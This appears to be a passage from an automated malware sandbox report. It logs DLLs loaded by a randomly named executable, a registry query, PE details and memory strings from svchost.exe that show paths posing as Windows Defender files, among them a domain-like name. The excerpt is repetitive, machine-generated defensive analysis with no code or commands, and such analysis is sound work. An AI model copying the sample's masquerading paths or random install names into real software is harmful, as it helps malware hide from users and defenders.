Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: iertutil.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: profapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: ondemandconnroutehelper.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: winhttp.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: mswsock.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: winnsi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: rasadhlp.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: fwpuclnt.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: urlmon.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: srvcli.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: schannel.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: mskeyprotect.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: ntasn1.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: msasn1.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: dpapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: cryptsp.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: rsaenh.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: cryptbase.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: gpapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: ncrypt.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: ncryptsslp.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: winscard.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: devobj.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: sensapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: iphlpapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: dbghelp.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: netapi32.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: samcli.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: netutils.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: dnsapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: wininet.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: windows.storage.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: wldp.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: sspicli.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: iertutil.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: profapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: winscard.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: devobj.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: sensapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: iphlpapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: dbghelp.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: netapi32.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: samcli.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: netutils.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: dnsapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: wininet.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: windows.storage.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: wldp.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: sspicli.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: iertutil.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: profapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: winscard.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: devobj.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: sensapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: iphlpapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: dbghelp.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: netapi32.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: samcli.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: netutils.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: dnsapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: wininet.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: windows.storage.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: wldp.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: sspicli.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: iertutil.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: profapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: ondemandconnroutehelper.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: winhttp.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: mswsock.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: fwpuclnt.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: winnsi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: rasadhlp.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: urlmon.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: srvcli.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: winscard.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: devobj.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: sensapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: iphlpapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: dbghelp.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: netapi32.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: samcli.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: netutils.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: dnsapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: wininet.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: windows.storage.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: wldp.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: sspicli.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: iertutil.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: profapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: winscard.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: devobj.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: sensapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: iphlpapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: dbghelp.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: netapi32.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: samcli.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: netutils.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: dnsapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: wininet.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: windows.storage.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: wldp.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: sspicli.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: iertutil.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: profapi.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: ondemandconnroutehelper.dll
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeSection loaded: winhttp.dll
Source: C:\Users\user\Desktop\Bpfz752pYZ.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{304CE942-6E39-40D8-943A-B913C40C9CD4}\InprocServer32Jump to behavior
Source: Bpfz752pYZ.exeStatic file information: File size 1179648 > 1048576
Source: Bpfz752pYZ.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: \??\C:\Program Files (x86)\Windows Defender\ganykah.com\??\C:\Program Files (x86)\Windows Defender\wrpcrt4.pdb\??\C:\Program Files (x86)\Windows Defender\winsta.pdb source: svchost.exe, 00000002.00000003.3255347257.0000000003399000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: winsta.pdb source: svchost.exe, 00000002.00000002.3397191515.00000000056A4000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wkernel32.pdb source: svchost.exe, 00000002.00000003.3267668085.00000000086BE000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Program Files (x86)\Windows Defender\winsta.pdb source: svchost.exe, 00000002.00000003.3255347257.0000000003399000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: l\wntdll.pdb source: svchost.exe, 00000002.00000002.3383219866.0000000000812000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Program Files (x86)\Windows Defender\wrpcrt4.pdb\??\C:\Program Files (x86)\Windows Defender\winsta.pdb source: svchost.exe, 00000002.00000003.3255347257.0000000003399000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wrpcrt4.pdb source: svchost.exe, 00000002.00000003.3343594271.0000000008626000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Program Files (x86)\Windows Defender\wrpcrt4.pdb\??\C:\Program Files (x86)\Windows Defender\wntdll.pdb source: svchost.exe, 00000002.00000003.3255347257.0000000003399000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: l\winsta.pdb source: svchost.exe, 00000002.00000003.3347345159.000000000338D000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: svchost.exe, 00000002.00000002.3402753953.00000000086B9000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wrpcrt4.pdb( source: svchost.exe, 00000002.00000003.3343594271.0000000008626000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: c:\jenkins\workspace\8-2-build-windows-amd64-cygwin\jdk8u281\880\build\windows-amd64\deploy\tmp\javacplexec\obj64\javacpl.pdb552 source: Bpfz752pYZ.exe, svchost.exe.0.dr
